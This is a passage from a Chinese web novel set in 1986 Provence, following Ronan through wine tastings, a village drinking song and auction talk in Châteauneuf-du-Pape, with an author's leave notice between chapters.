一个个橡木桶沿着有零星青苔的墙壁堆放着,在中间的某个位置放了一个直径更大的橡木桶,那上面放着四个酒杯和几瓶红葡萄酒,酒瓶上没有标签,但有用彩色记号笔留下的花里胡哨的记号。 罗南很仔细的看了一圈,这里没有安装控温的设备,但蔽光性挺好。 “不是,我想这些干什么啊。”他小声嘀咕了一声。 他这是犯职业病了。 杰克逊先生的藏酒和明天拍卖会上的酒全部是红白葡萄酒,不是娇气的粉红酒储酒条件没有那么严苛。 感慨粉红酒不知何年何月才有机会走上拍卖会舞台的同时,罗南对接下来的品酒过程燃起了一股小小的期待。 搬来普罗旺斯,他染上了粉红酒,啤酒偶尔会喝一点,但红白葡萄酒喝的次数相对较少。 待会品尝的一定都是好酒。 这么好的酒,喝完必须得点评两句啊,他说点什么好呢? 但很快,罗南又开始为另一个问题所困扰。 他悄悄碰了一下前面的雅克先生胳膊,压低声音说: “我没看到可以吐酒的地方。” 杰罗姆在教皇新堡的酒窖里有一条专门用来吐酒的排水沟,罗南在卢尔马兰的酒窖里也设计了类似的地方。 但杰克逊这里并不是什么专业的酒庄,更不会考虑出现在这里的人只品不喝的情况。 那么问题来了我们吐哪里啊? 此时众人已经走到了那个大橡木桶前,罗南见到西奥多尔从他背后的黑包里取出了一个直径十几厘米的小桶。 罗南顿时瞪大了眼睛,此刻他眼睛里的光芒一定比头顶昏黄的灯光还要明亮。 不是,伙计,随身携带吐酒的桶吗? 雅克先生自然也发现了西奥多尔自带了道具。 他快速判断了一下三个人同时往那里吐的可行性,悄悄回答罗南: “把酒吐在地上太粗鲁,今天只能咽下去,但记得每次只尝一点点。” “好的。”罗南点头。 在罗南和雅克先生沟通战术时,西奥多尔已经迫不及待的进行了第一瓶酒的品尝。 他一会皱眉,一会闻味道,一会漱口.此情此景,让罗南觉得正在亲临某个宗教仪式的现场。 现在祷告仪式完毕,该说祷告词了。 昨天夜里经历的‘恶作剧’,让罗南也变得幼稚起来,他在心里给西奥多尔配起了音——特别稳重,特别美妙,口感层次丰富,阿门,谢谢主的馈赠。 但地窖里回荡着的奥多尔严肃、庄重又低沉的声音却是: “有一股湿润皮革的味道,这款酒不太好。” 嗯? 罗南的脑袋短暂的停机了两秒。 湿润皮革是什么味道的? 杰克逊不甘心的催促他品尝第二款酒。 西奥多尔做完了一整套祷告动作,说出来的祷告词彻底将‘主’激怒了: “这款酒有一股绣被味,我觉得它拍不出去年的价格。” 杰克逊两只眉毛‘噌’的一下竖起来: “绣被味?什么意思?” 西奥多尔擦了擦嘴: “别激动伙计,不是一般的绣被,是一块非常古老、非常特别的绣被,但坦白讲,它不够好。” 在接下来的半个小时里,罗南听到了许多平时很少使用的‘刁钻’词汇,他打死也想不到,这些日常中很难出现的词汇现在居然用到一款款葡萄酒的身上。 落水狗、幼年兔子的肚皮、涂抹过草莓的木头.西奥多尔用一个个熟悉的词汇,描述出了一款款让人陌生的味道。 跟他比起来,罗南之前常用的那些,类似‘果香’、‘层次’、‘酸度甜度’.简直弱爆了。 杰克逊像是受虐狂一样,在西奥多尔一次次‘贬低’他的酒后,还能笑的出来: “还得是你啊,其他人讲的都是好好好,说今年我一定是标王但我很清楚,这批葡萄酒没有去年的好,你这家伙真是厉害。” 突然,这位种植园主终于发现,现场还有另外两位客人呢。 刚才太过‘激动’,眼睛里只有西奥多尔这个家伙。 他开了一瓶新酒,给雅克、罗南和西奥多尔每个人只倒了一点点: “来,再尝尝这个,朋友们。” 虽然园主根本不会关注到自己身上,但罗南还是很专业的做完了每一次的‘祷告’动作部分,和西奥多尔比只差了一个吐。 杰克逊见罗南品的这么认真,礼貌的问: “你觉得这款酒怎么样?” 罗南像是一个被老师突然点名的学生,而且上一个回答问题的还是全校学习最好的那个,压力巨大。 他再搬出什么‘果香’、‘层次’、‘酸度甜度’太拿不出手了。 电光火石间,罗南脑袋里蹦出了无数个‘刁钻’的单词,但留给他选择的时间并不多,咽下那口酒后,他笑着回答: “我想称呼他为——前途光明的年轻人。” “前途光明的年轻人?”杰克逊哈哈大笑着说,“我能问问为什么吗?” 西奥多尔把酒吐出去,好奇的打量过来,等待罗南接下来的话。 罗南晃动了一下杯子: “这款酒太年轻了,但再等上几年,它的味道无可限量。” 在专业品鉴领域,判断葡萄酒年份的难度远超识别葡萄品种。 品种香气如赤霞珠的黑醋栗味、赤霞珠的果味是明确的‘点’,即使是外行人,经过训练味蕾也可以达到85%以上的品种盲品准确率;而年份特征是陈年过程中变化的‘线’,根本没有什么规律,需要长年累月的经验积累才能判断。 西奥多尔不动声色的挑了下眉毛。 这个罗南可以啊. 杰克逊开心的拍起了手,对西奥多尔说: “你这个朋友厉害,也是个‘前途光明的年轻人’,难得遇到这么多‘行家’,你们别走,我再去拿几瓶酒来尝尝。” 请假条 最近把健身捡起来了,但这两天降温,从健身房出来汗太多,好像又有点着凉,也有可能是前一阵的感冒还没完全好。 请假休息一天,多多喝水,早点睡觉,抱歉抱歉。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第545章 嘿伙计,来点地道的教皇新堡特色 西奥多尔是一位优秀的品酒师,阅酒无数,尤其擅长‘精准’的描述陈年酒中的特色味道,不过他的味蕾过于挑剔,一整个下午品下来,白葡萄酒全部‘阵亡’,只说了两款红葡萄酒好。 雅克先生不是品酒师,但见识宽广,对精品食材和高端酒有近乎疯狂的痴迷,喝过的好酒不计其数.但其性格较为死板和严肃,评价酒的时候用词太过直白,好几次听的杰克逊不停的尬笑。 罗南天性善良,和杰克逊先生是初次见面,更没有另外两位的行业地位,虽然酒品的也不差,还效仿起了西奥多尔酒评时的‘刁钻’风格,不过用词非常的婉转和幽默。 前途光明的年轻人、热辣的普罗旺斯阳光、11月森林清晨的味道同样是表达这款酒有这样那样的问题,或者不怎么样,但杰克逊听下来舒服多了。 别看斯特斯加之前经营的一般般,但杰罗姆在教皇新堡混的相当不错,当地许多种植园主都认识他,去马德里之前,杰克逊等人还在私下里吃过饭。 “杰罗姆可没有你这本事。”杰克逊把酒杯放下,笑着对罗南耸肩,“我指的是品酒方面,他太聚焦粉红酒了。” 罗南的舌头征服了这位葡萄种植园主,他在今天下午的品酒表现完全不比那些专业的品酒师差,一看就是个喝葡萄酒的‘老饕’,而且是来者不拒的那种,很对他的胃口。 谁说卖粉红酒的,就不能喝别的酒了呢? 你看这个罗南,但不仅什么都喝,还是个行家! 尤其罗南给足了杰罗姆面子,虽然是第一次见面,这位葡萄园主对他的好感度蹭蹭蹭的涨,有一种‘相见恨晚’的感受。 罗南正在思考如何‘幽默’的回答杰克逊的夸赞,一旁的西奥多尔先一步接话。 “所以杰罗姆把斯特斯加给了罗南——”西奥多尔表情复杂的看了一眼罗南,努力完成伊内斯安排的任务的同时,向他送去了美好的祝福,“希望罗南能够替他完成没有完成的梦想,未来斯特斯加也要酿制高端粉红酒了,你们两位说不定有合作的机会.杰克逊,你可千万不要小瞧现在的斯特斯加,相信我,很快它的名字就要传遍普罗旺斯了。” 杰克逊撑着橡木桶,心情相当不错的说: “你都这样说了,我必须要和罗南好好喝两杯,你们今晚别走了,留在这里吃晚饭吧,我让人准备,很快就好。” 杰克逊是教皇新堡非常有名的葡萄种植园主,和他合作的全部是这附近的高端葡萄酒庄。 安排罗南与其相识,并慢慢熟悉,是帮助斯特斯加提升高端属性的重要方式方法,也是西奥多尔此行的目的之一,因此没有拒绝杰克逊的晚饭邀请。 关键人物西奥多尔没有提出异议,受邀前来的罗南和雅克自然听话的留下。 同属沃克吕兹省,教皇新堡和卢尔马兰的土壤类型不同,美食的风格也有了变化。 今晚杰克逊准备的是地地道道的乡村味道,也同样是一场关于美食的马拉松,但主菜其一却是卢尔马兰人很少会吃的红酒炖鸭。 卢尔马人食用的肉类以羊肉为主,其次是鸡肉,这两类是最常见的,猪肉和牛肉也吃,但频次相对较少,但到了冬季,大家会吃山上的野味,不过鸭肉是连‘野味’都算不上的食材,一年最多吃两三次。 这是罗南第一次吃红酒炖鸭,莉亚做过一两次鸭肉,但是用烤的。 开了餐厅的原因,罗南很喜欢研究新鲜的美食搭配组合,因此在本身的份额外又多要了一块红酒炖鸭,这让杰克逊对他的好感更高了。 “不是每个人都吃得惯鸭肉。”杰克逊笑着说,“很多人认为鸭肉有一种特殊的难闻味道,但教皇新堡爱吃鸭肉的人比爱吃猪肉的多。” 在场就有一个吃不惯鸭肉的家伙。 西奥多尔看着盘子里受了点皮外伤的红酒炖鸭,撇着嘴说: “确实吃不惯。” 杰克逊笑着撇了撇嘴: “谁让你不喝酒呢?相信我,你吃一口鸭肉配一口酒,会发现鸭子在你口腔里游起来了。” 西奥多尔喝了一口水: “我的味蕾告诉我,即使喝上一口最好的白葡萄酒,也无法遮盖住鸭子的味道。” 今天虽然吃的是乡村美食,但喝酒的规矩绝对是最高级别的。 每上一道主菜,杰克逊便会给大家开不同的酒。 这款红酒炖鸭配的是干白,白葡萄的果味和酸味可以压住鸭肉中的腥味。 罗南一口肉一口酒,吃的那叫一个‘地道’: “我觉得挺不错,很喜欢这种味道。” 罗南甚至受了一点启发,想在餐厅里也卖一些鸭肉的菜,只不过在卢尔马兰买鸭子有点难。 “哦啦啦——”杰克逊遗憾的摇头,“太可惜了,你居然把斯特斯加搬去了卢尔马兰经营,你生活在教皇新堡多好啊,一定能适应的很好。” 突然,他一脸兴奋的问罗南: “想要体验一下教皇新堡的其他‘风俗’吗?和喝酒有关的。” 罗南放下刀叉,一脸认真: “当然愿意,那是什么?” 雅克先生也放下了刀叉,擦了擦嘴,一副如临大敌的样子: “抱歉,这一环节我就不参加了。” 西奥多尔用调侃的语气对雅克说: “拜托,大家只是玩一玩,你别这么不给面子啊,相信我,那会让你们喝的更加开心。” 雅克阴阳怪气的反讽西奥多尔: “那你也给点面子吧,喝一口酒能怎样?如果你今天能喝一杯,我们会更加开心的。” 今天气氛不错,餐桌上另外三人想尽了办法想让西奥多尔喝点,但效果不佳。 西奥多尔马上住嘴,替自己开脱: “你以为酒可以全部吐干净吗?还是会有一部分被身体吸收,我每个月品尝的酒太多了,被动吸收都到了一个恐怖的量级,再主动喝酒我的身体会吃不消的。” 旁听的罗南忍不住挑了下眉毛。 普罗旺斯居然有那么注意‘健康’的人吗? “好了好了,伙计们,让我们教罗南一点新鲜的玩意。”杰克逊结束了这个不会有结果的话题,看着罗南说,“在教皇新堡,人们喝酒的时候喜欢唱《葡萄酒之歌》,这是一场完美聚会的必要条件。” 怎么会是唱歌呢.罗南腹诽了一句。 但他刚刚已经答应了下来,现在说不,太扫兴了。 而且唱歌而已嘛.哪个酒鬼喝多了之后没有在老酒馆嚎过几嗓子呢? 小场面。 “怎么唱?”罗南积极的问杰克逊。 西奥多尔在一旁调皮的补充: “是边唱边跳哦,罗南。” 什么东西? 罗南偷偷看了一眼雅克先生,发现他的嘴角在微微上翘。 不给罗南逃跑的机会,杰克逊已经站到了他的身旁: “别害羞啊小伙子,未来两天你的耳边会不停出现《葡萄酒之歌》的旋律,如果想要顺利的加入到欢乐的人群中,现在必须学会它,这是你最后的机会了!” 不要浪费西奥多尔的帮助,更不要辜负伊内斯的安排,未来两天你必须完全的融入教皇新堡罗南在心中鼓励了自己两句,撸起袖子也站了起来: “来吧,教我。” 杰克逊哈哈大笑的搂住了罗南的脖子,对西奥多尔说: “我喜欢你带来的这个小伙子!” 《葡萄酒之歌》在教皇新堡的地位类似于‘战斗号角’。 战歌不停,酒不停——这便是教皇新堡人喝酒的写照。 罗南一开始还有些担心自己的音乐天赋是否可以支撑下在半个小时内学会一整首歌曲,众所周知,他小时候学了三个月电子琴,还没接送他去上课的罗天海弹得好。 但还好《葡萄酒之歌》没有歌词,从头至尾全部是‘啦啦啦啦’,杰克逊告诉罗南,曲调也不是问题,不会唱就喊出来,那一样是对的,这首歌的重点在动作上。 歌曲的前三分之一,大家需要一边唱(喊)一边拍手,到了第一段的高潮部分,动作就开始复杂了。 首先是紧握拳头,手臂从两侧举过头顶,手腕前后转动。 听起来挺抽象吧? 其实就是拧瓶盖的动作,反正罗南是这样认为的。 紧接着将两只拳头举到身前,前后的挥舞。 是不是听起来还是很难理解? 喝酒,就是喝酒的动作! 最后是双手击掌,需要连击九下, 杰克逊告诉罗南,击掌的时候一定要用力,击掌的声音越大越好。 以上动作快速完成两遍之后,就可以回到‘准备’的姿势,等待下一段音乐响起。 杰克逊还告诉了罗南一条‘经验之谈’——在等待的时候不要闲着,可以喝两口酒补充体力,因为你不知道那场的《葡萄酒之歌》要重复几遍,这全看最后一个酒鬼什么时候趴下。 雅克先生提前退出了集体活动。 西奥多尔原本就会,以此为理由偷懒了半个多小时,只是偶尔跟着‘啦啦啦’几下。 为了让《葡萄酒之歌》体现出该有的气势、为了不扫杰克逊的兴致,罗南卖力的学,跟着奋力的嚎叫和鼓掌,两个人唱出了一屋子马赛球迷的味道。 离开杰克逊家时,这位种植园主开心的说,罗南对《葡萄酒之歌》的熟练程度,已经可以去领唱了。 “明天见孩子,记得拍卖会坐到我的身边,我会再教你点其他的教皇新堡的喝酒‘风俗’,你一定会喜欢!”杰克逊依依不舍的将罗南送上了车子。 今天实在喝了太多酒,雅克先生已经无法开车,司机变成了西奥多尔。 西奥多尔在教皇新堡有其他住所,将罗南和雅克送到提前订好的酒店休息,双方约定了明天的见面时间,他独自步行离开。 去办入住的路上,雅克和罗南对今天的活动进行了一个小小的复盘。 “还记得我们今天喝了多少种酒吗?”雅克先生压低声音问罗南。 罗南声音嘶哑的回答: “四十多种吧,下午品酒加晚餐一起.我开始理解你的提议了。” 今日战绩:四十多种红白葡萄酒。 将酒从嘴里吐出来的次数:零。 此刻几十种酒在罗南的胃里打架,让他非常不舒服,这已经不是酒量大不大的问题了。 “明天我们必须把酒吐出去。”雅克和罗南的状态差不多,“要么吐出来,要么去死。” 今天才只是喝了杰克逊这里一家的酒,明天将有几十、几百位酒商拿着他的酒等待罗南等人的品尝。 罗南揉着太阳穴说: “明天应该会有吐酒的地方吧?” 雅克先生认真的说: “应该有,但我们也要像西奥多尔一样做双重准备,万一出了点岔子,喝下去那么多酒,我可能真的要跟着你们唱战歌了。” 罗南想象了一下那画面,笑着说: “拍卖会之前还有一点时间,我们在教皇新堡里转转,看看能不能买到西奥多尔今天带的那种小桶。” 第二天一早。 罗南和雅克先生喝下了一大碗重墨角兰、重龙蒿、重欧芹和重蜂蜜的山羊奶草本饮才算把昨天的酒醒了。 醒过来的第一件事就是离开酒店,去镇上买小桶。 罗南之前几次来教皇新堡都是去杰罗姆时期的斯特斯加,酒庄自然不会建在人群密集的热闹地方,所以这是罗南第一次‘深入’教皇新堡这座有着浓厚传奇色彩的小城镇。 这份传奇在几百年前指的是宗教,但在现在.传奇的主旋律一定指的是葡萄酒。 教皇新堡的房子都是石头做的,有着厚厚的墙,到处都是铺着石子的小路,哥特式建筑比比皆是。 然而神奇的是,无论你站在哪里,要往哪去,视线中总是可以看到葡萄酒的影子——一瓶瓶的葡萄酒、一桶桶的葡萄酒、测试酒温的温度计、形状各异的开瓶器、各种材质和样式的酒杯.罗南在杂货铺里买了一盒纸巾,上面都有葡萄的形状。 见罗南一脸新奇,雅克先生温和的说: “还有时间,我们慢慢逛逛。” 罗南兴奋的点头: “好的。” 第546章 酒治百病啊我的朋友 如果不是14世纪,主教克莱蒙五世因为罗马政局动荡将教廷南迁,时至今日教皇新堡可能只是一个比卢尔马兰还‘名不见经传’的小村庄。 克莱蒙五世被世人戏称‘葡萄酒教皇’,据说他决意将教廷迁至阿维尼翁,很重要的一个原因便是看上了这附近的葡萄。 这位传奇的主教一搬来阿维尼翁就进行了一系列的‘葡萄’革命。 首先是命人铲除当地酸涩的神索葡萄,从波尔多引进了黑皮诺(后因酷暑退化成了歌海娜),除此之外还推动石砌发酵池取代木桶等贮存方法。 而这其中对后世影响最深远的,是在距离阿维尼翁17公里的罗纳河崖顶修建夏季行宫——‘教皇新堡’的名字便是由此而来的。 几百年过去,大主教在教皇新堡的夏季行宫在二战德军的轰炸下,只留下了南边的一部分残垣断壁。 可教皇新堡连同周围接壤的几个村子的几乎全部可耕地,全部种植了葡萄。 数据记载,1987年教皇新堡的常驻人口有2000人左右,其中9成人的工作都是和葡萄有关的。 但就是这么高的‘葡萄’渗透率罗南和雅克愣是在这里买不到一个专门用来吐葡萄酒的桶。 “这太神奇了,真的没有卖吐酒桶的商店。”罗南的眼睛不甘心但四处扫荡,“我还以为可以买到一个造型精美、材质特殊.说不定还有名人签名的艺术款呢。” 时间富裕,两人便很认真的逛了逛,但他们几乎把教皇新堡的核心区域逛了个遍,确实没有专门卖吐酒桶的地方。 雅克先生推了推眼镜,失望的说: “你发现没有,这里卖的所有东西目的都是帮助人们喝下更多的葡萄酒.而不是吐出去。” 罗南停在了一个建筑物的玻璃窗外,感同身受的‘抱怨’: “我也发现了,你敢信吗.在教皇新堡,连医生都在劝人多喝酒。” 在他们二人的面前的,是一所看起来很普通的药房,但橱窗里摆着的东西可太不‘普通’了。 在普罗旺斯的其他地方,药房橱窗里要么摆放各种药的宣传单,要么摆着模特,还有一些大城市里会贴着身材姣好的女模特照片让大家重视起健康,但教皇新堡的药房和罗南之前见过的所有都不一样。 橱窗的中央挂了一张在夜晚看到会让人头皮发麻的人体解剖照片,每一个内脏的位置上写的全部是酒的名字,和用更小字号标注着的这些酒的神奇疗效。 香槟可以预防感冒,喝干白可以冲出胆结石,干红对肺结核有大益处,带有烟熏味道的葡萄酒可以缓解紧张. 粉红酒居然也榜上有名。 这张图上写着,粉红酒可以缓解关节痛! 如果眼前的一切是真,那么代表世界上的所有疾病都可以通过喝葡萄酒来治疗.上帝,这可太疯狂了。 但编辑这份材料的人太粗心大意了,罗南看了好几分钟,并没有找到肝硬化的治疗方法。 可能这位医生并不赞同‘以毒攻毒’的治疗方式吧。 雅克盯了这个橱窗一会,笑着问罗南: “你觉得卢尔马兰未来会变成这样吗?” 粉红酒之乡同样需要促进酒的销量。 罗南很认真的想了几秒,才开口: “我觉得不会,卢尔马兰确实将粉红酒定位成绝对的发展核心,但除了粉红酒,卢尔马兰还有其他许多有意思的元素,例如艺术、美食、编织和百花齐放的商铺.没有必要做的这么‘极致’,不是吗?” 教皇新堡除了葡萄酒什么都没有,但卢尔马兰不是这样的.那是一个可以让任何东西都生根发芽的地方。 雅克颇为意外的看了罗南一眼,半真半假的说: “你说的我都开始为博尼约政府担心了,未来吕贝隆不会出现第四个‘角’吧?” 罗南笑着耸肩: “为什么不呢?” 说完,他回头看向来时的路: “我们怎么办?去找个其他的容器用来吐酒吗?” 倒是有几个备选容器方案,但看起来不太雅观。 这可是高端拍卖会啊,抱着陶瓷罐或者吃饭的碗吐合适吗? 雅克先生低头看了眼手表: “快要到和西奥多尔约定的见面时间了,我们先和他碰头,问问他的桶是在哪里买的。” 上午10点半,三人再次合体。 拍卖会在下午开始,这之前他们还要去几个地方。 昨天的行程是为罗南特意安排的,今天的行程则是身为品酒师的西奥多尔必须要出席的,但可以带上雅克和罗南。 雅克可以在其中挑选心仪的高端酒,罗南则是继续在高端局上刷脸。 雅克先生问西奥多尔: “我们想要准备吐酒桶,你知道在教皇新堡哪里可以买到它吗?” 今天的行程肯定围绕下午的拍卖会展开,那么品酒是跑不了的了。 雅克有一种不好的预感,说不定今年两天就可以破去年450种酒的记录了。 西奥多尔阻止了他们的买桶行为: “昨天是个意外,杰克逊的种植园并不是专业的酒庄,之后的行程中全部有吐酒的地方,你们不用准备桶了。” 罗南看着他身后背的大黑书包说: “但你还是带着桶来的。” 今天西奥多尔依然是黑西装和黑背包的不伦不类穿搭组合。 伙计,小心驶得万年船啊。 你看,你也是这样想的不是吗? 西奥多尔先是一愣,随后取下书包打开给他们展示: “我今天没有带吐酒桶,这是橄榄油,在品酒前喝一杯可以保护胃壁,这是山羊奶冻,也是品酒前吃的,它可以增加肝脏糖原储备,这是蜂蜜.” 西奥多尔一连掏出好几个护肝护胃小偏方,之后抬头问罗南和雅克先生: “你们需要吗?我带的多,可以和你们分享。” 罗南目瞪口呆的问他: “你不喝啊,准备这些干什么?” 西奥多尔理直气壮的回答: “我昨天回答了,吐不干净!只是吸收了一点点,也会对身体造成很大的负担。” 罗南哭笑不得的问: “你究竟是品酒师,还是健康专家?” 西奥多尔拿出一根干蒲公英放在嘴里咀嚼: “当然是品酒师,不过我很注重身体健康对了,你结婚之后什么时候要孩子?我可以给你分享些‘备孕’经验,有助于胎儿的健康。” 罗南‘感激’的敷衍: “等喝完这两天再分享吧,先提前谢谢你了。” 西奥多尔接下来带他们去的地方专业多了,那是一个目标在下午拍卖会上‘大杀四方’的精品酒庄。 酒庄老板将品酒师和行业内的各位专家提前邀请来,尝一尝它们的味道。 西奥多尔像昨天一样,尽心尽力的给同行们介绍罗南的身份,如果他去忙其他的事情,雅克先生会起到随身‘携带’罗南的作用,努力增加他的存在感。 罗南将两人的行为全部看在眼里、记在心里,当然了,同时记住的还有会长大人的恩情。 杰罗姆的嘱托相当靠谱——沃克吕兹省粉红酒爱好协会里的每一位成员都能对经营斯特斯加起到帮助。 感激的话之后再说,今天的任务是好好表现,给这些真正的行家留下个不错的好印象。 罗南跟着一行人进入这所精品酒庄的酒窖。 酒窖里有成千上万瓶葡萄酒,酒桶看不到尽头,消失在黑漆漆的远方。 身处这样的环境,被这么多佳酿所环绕,鼻孔中飘过的醉人香味,无一不在提示众人——你们的手里缺了点什么。 坦白讲,今早一想到未来两天要品尝几百种酒,罗南心里特别抵触,一点喝酒的愉悦感都没了,但一个多小时后的此刻,他已经跃跃欲试的想要拿起酒杯好好尝一尝了。 而这位老板显然是‘教皇新堡魔力现象’的集大成者。 大家口干舌燥的走了一会,赫然发现前方酒杯、酒瓶和品酒用的小点心已经准备好。 桌子上琳琅满目的小点心做的一点都不比外面的餐厅差,看起来精美极了,一看就非常适合配酒。 罗南忍不住拿起一颗尝了尝,发现居然是咸的这让他更想喝点什么。 卢尔马兰肯定不能走教皇新堡的路线——这个村庄里的一切元素都在逼着人多喝两杯。 但斯特斯加可以‘照抄’。 罗南把这些经验全部记在心里,发誓等斯特斯加将来正式开业,可以接待酒客了,必须要让这些人还没进酒窖就开始‘口干舌燥’。 “还有配酒用的吃食——”罗南职业病发作,还没开始喝酒就连吃了好几款,“也要多下下功夫,普罗旺斯人均美食大王,拿捏住他们的胃,酒能卖的更好。” 那一边罗南在高端品酒会上‘狂炫’小吃,这一边酒庄老板正盛情的给客人们介绍他的精品酒,并且贴心的提醒: “靠墙放的水盂全部是给大家吐酒用的,待会要喝的种类比较多,大家记得把酒吐出来,别耽误下午的拍卖会。” 罗南一边品尝下酒菜一边在心里点了个赞。 这就叫专业啊。 “砰——” 木塞离开玻璃瓶子的声音在地窖里被无限放大。 “今天我给各位准备了60多瓶酒,请大家尽情的品尝!” 罗南第一次参与这种高端品酒会,即使西奥多尔和雅克先生处处‘提点’,也很难改变其小透明的现状。 不过这正好给了罗南一个学习和观察的时机。 这几天在教皇新堡的所有见闻,都将是他未来经营发展斯特斯加时的宝贵财富。 首先罗南观察到,在场所有有经验的品酒师和酒业专家都穿着很正式的西装,和他这种来‘刷经验’的人一眼便可以看出差异。 这大概也是西奥多尔一改‘小飞侠’穿衣风格的原因吧。 西奥多尔不可能带罗南认识所有人,但这个细节可以让罗南在下午的拍卖会或者接下的其他活动上,留意到重要人物。 其次,罗南还学习到,正式的品酒会上,品酒的顺序也是有讲究的。 昨天在杰克逊的葡萄园里,他们喝的太随意了,毫无章法,而这位高端酒庄主给了一个非常标准的品酒答案。 酒应该要从新酒开始品起,一个一个年份喝到陈年。 这样做最直观的体会便是——越到后面,罗南越舍不得把嘴里的液体吐出去。 那些上了年份的好酒喝不出任何的涩味,送到嘴里口感圆滑、丰满,让大脑忍不住的想要将它留下。 大脑控制着身体,所以越到后面,酒的评价越高,现场订酒的人也就越多。 罗南身边的雅克先生一连订了好几款酒,而相同的酒如果放在最开始品尝,应该没有这么高的‘转化’。 “今天的收获真是不小”品酒会还没结束,罗南便已经可以写出4000字的‘观后感’了。 最后几瓶酒没有什么好看、好品的除了夸就是夸。 罗南没有那么大的酒瘾,更没有什么要喝到全世界佳酿的崇高梦想。 该学习的规矩和经验也学的差不多了,罗南便开始‘摸鱼’,把注意力放到了西奥多尔的身上。 雅克先生说,西奥多尔是普罗旺斯非常著名的品酒师。 杰罗姆说,如果没有西奥多尔提出的一个个建议,斯特斯加可能早在几年前就没了。 但那都是别人说的。 罗南喜欢通过自己的眼睛去观察。 越是放到后面的酒越是香醇,许多专家品到这个时候已经忘记了身份,全情‘享受’,只有西奥多尔每一款酒都在认真的品尝,而且越到后面,他品的越是仔细和复杂。 通常其他人已经夸了好几句,他的酒还在口腔里和味蕾做着碰撞,有的时候,甚至要连品好几口,才能给出评价。 “仿佛含住了一片被朝露浸润的玫瑰花瓣,这款酒好,下午肯定能拍出个好价。”西奥多尔把酒吐出去,擦了擦嘴。 这位酒庄主如释重负的呼出一口气: “西奥多尔,有你这句话我终于放心了。” 黑暗中,罗南摸着下巴想: 要是能把西奥多尔‘拉’到斯特斯加这艘船上就好了。 他在普罗旺斯要名气有名气。 要能力有能力。 看看这两天这些酒庄老板和种植园主对他的态度如果他加入了斯特斯加,‘高端’的属性这不马上就有了? 第547章 火爆的普罗旺斯葡萄酒市场 开酒、品酒、讨论、开酒、品酒、讨论.这样的过程重复了几十次,几个小时的时间很快过去了。 这家精品酒庄的老板并没有留大家吃午饭的打算,不是每个人都像西奥多尔一样精通‘吐酒’之道。 当罗南跟随雅克和西奥多尔等人离开酒窖、重新回归到明亮的太阳光下,发现许多同行人的衬衣、领带、西裤或者皮鞋上都留下了葡萄酒迸溅的痕迹。 专业的酒庄老板留下了充足的时间,让大家在拍卖会开始前去整理一下,用最好的状态面这个周末最重要的活动。 西奥多尔让雅克和罗南也回酒店去整顿一下,拍卖会结束,他将带二人去一个很正式的晚宴,出席时需要穿正装。 这个周末,教皇新堡禁止汽车行驶,去哪里都要用走的,去酒店的路上,罗南不禁感慨道: “真是充实的一天啊。” 上午品酒会,下午拍卖会,晚上晚宴罗南被西奥多尔安排的明明白白,要连喝一整天了。 背着大书包跟在罗南和雅克身后的西奥多尔突然出声: “走快点吧,我们中午还有安排。” 罗南诧异的回头: “中午还要喝吗?” 不是伙计,这强度是不是太大了? 西奥多尔推着罗南的后背过马路: “中午不用喝,是和拍卖会的主办方共进午餐。” 回酒店换了西装和皮鞋,三人再次走上了教皇新堡的街道。 汽车禁行,街道上的行人量无比巨大,而且一大半人的手里都拿着各式各样的酒杯。 很显然,一来到教皇新堡这个神奇的地方,所有人都会变得‘口干舌燥’,忍不住想要喝两口葡萄酒尝尝。 在这里,不止是行业专家,普通人品上一整天酒也是习以为常的事情。 还好,罗南有了一点喘息的时间,可以暂时放下酒杯了。 中午西奥多尔约了一位拍卖会主办方的先生吃饭,通过这人的介绍,罗南对拍卖会的了解更为深刻,除了了解到这是普罗旺斯最古老的拍卖活动外,对拍卖会的规则和普罗旺斯葡萄酒市场规模也有了较为具象的认知。 “下午拍卖会上的成交价基本可以反映下一个自然年普罗旺斯葡萄酒的市场价。”那人用一种骄傲的口吻说,“如果和去年比有所增长,那么明年的市场行情将一路上涨。” 西奥多尔开玩笑的说: “有跌的时候吗?我参加了这么多年,总成交价每年都在上涨。” 那人笑着耸肩: “但也有涨的多和涨的少的区别吧?同一家酒庄,1984年容量为250升的酒桶可以卖出去15万法郎,1985年变成了17万,但到了1986年则一下子卖到了25万法郎,还是有很大差别的。” 罗南默默的把这些细节记在心里。 原来拍卖会上的单位不止是瓶,还有桶? 买下一桶酒是为了‘二次’陈酿吗? 很快,西奥多尔和那人的聊天内容就给出了这个答案。 西奥多尔摇着脑袋说: “你说的这个价格没有什么参考,买家买下来通常还要储藏几年,然后再装瓶、运输售卖,等它们流通到市面上价格已经翻了好几翻。” “这更加说明普罗旺斯葡萄酒市场前途无量,不是吗?”那人开怀大笑的问西奥多尔,“葡萄酒卖的好、卖的贵,你我这样的人日子也能过得好,应该开心啊伙计。” “说到前途无量,我可就要说点别的了。”西奥多尔指着罗南说,“罗南想要酿高端粉红酒,如果未来斯特斯加的酒要上拍,你可要帮帮忙。” 西奥多尔始终牢记伊内斯的嘱托,尽心尽力的帮助罗南经营好斯特斯加。 那人犹豫了一下,为难的说: “粉红酒没有陈年属性.想要上拍有点难。” 事实上,倾听他们对话时,罗南就发现了粉红酒按照正常路径上教皇新堡这个普罗旺斯规模最大的拍卖有着不小的阻碍。 按照他们的说法.买家高价拍下的酒通常要经过二次陈酿,以发挥出其最大的商业价值。 但粉红酒喝的是一个新鲜,大多数粉红酒年份一长口感就变了,和高端红、白葡萄酒的情况不一样。 想要卖出价格、打开高端市场,除了与众不同的口感外,还要另外想点‘噱头’或者做出巨大的突破。 这个话题起的突然,罗南之前并没有想过那么深远,为了留下斯特斯加未来上拍卖会的希望,他脱口而出道: “粉红酒也不是完全不能陈年,办法还是有的,只是需要尝试。” 罗南运气不好,这位拍卖会的先生正好是‘粉红酒是小孩女士酒’那一派的,常年和高端红白葡萄酒打交道,让他对这种‘夏季劣质甜酒’的印象不太好。 但看在西奥多尔和雅克先生的面子上,他的语气和态度较为委婉: “粉红酒已经存在几百年了,作为平价酒,市场接受度始终不太好,再做大的突破恕我直言,我不太看好你冒这么大的风险。” 雅克先生是忠实的‘粉红酒拥护派’,他认为其他酒能做到的,粉红酒也可以: “红葡萄酒可以加入除了葡萄以外的水果,白葡萄酒也开始追求冰冻的口感,我们也要对粉红酒宽容一些。” 